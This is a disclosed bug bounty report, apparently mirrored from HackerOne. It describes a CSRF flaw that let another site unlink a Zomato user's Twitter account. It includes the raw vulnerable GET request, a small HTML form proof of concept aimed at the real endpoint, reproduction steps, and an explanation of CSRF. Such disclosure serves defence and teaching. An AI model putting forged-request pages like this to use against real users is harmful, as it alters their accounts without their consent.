Twitter Disconnect CSRF
A GET endpoint that disconnects a user's linked Twitter account had no CSRF protection, so a page on another site could trigger the disconnect. An attacker could force a logged-in victim to unlink their Twitter account by getting them to load a crafted page.
Originally disclosed on HackerOne
- Fixed in 46 hours
- Disclosed after 8 months
Hi
Using this CSRF vulnerability one could disconnect Twitter account from their profiles.
Vulnerable request
GET /php/disconnect_twitter_profile.php HTTP/1.1
Host: www.zomato.com
Connection: keep-alive
Accept: text/html, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36
Referer: https://www.zomato.com/
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
X-dotNet-Beautifier: 668; DO-NOT-REMOVE
POC Code
<html>
<body>
<form action="https://www.zomato.com/php/disconnect_twitter_profile.php">
<input type="submit" value="disconnect" />
</form>
</body>
</html>
Steps to reproduce
- Add Account Twitter
- Connect to your twitter account
- Use the above poc code to disconnect the twitter account
Regards Husssain
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the disconnect endpoint accepted a state-changing GET request without any anti-CSRF token or origin check.
Impact
A logged-in victim who visits an attacker's page could have their Twitter account disconnected from their profile without consent.
What the attacker needed
Victim is logged in; victim visits attacker page; Twitter account already linked
How it was found
- Add a Twitter account to the profile.
- Connect it to your Twitter account.
- Load the proof-of-concept page to trigger the disconnect request.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you log in to a site, your browser sends your session cookie with every request to that site, even ones started from another page. If a sensitive action like unlinking an account can be triggered by a simple request with no extra check, another website can make your browser perform it without you noticing. That is called cross-site request forgery (CSRF).
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.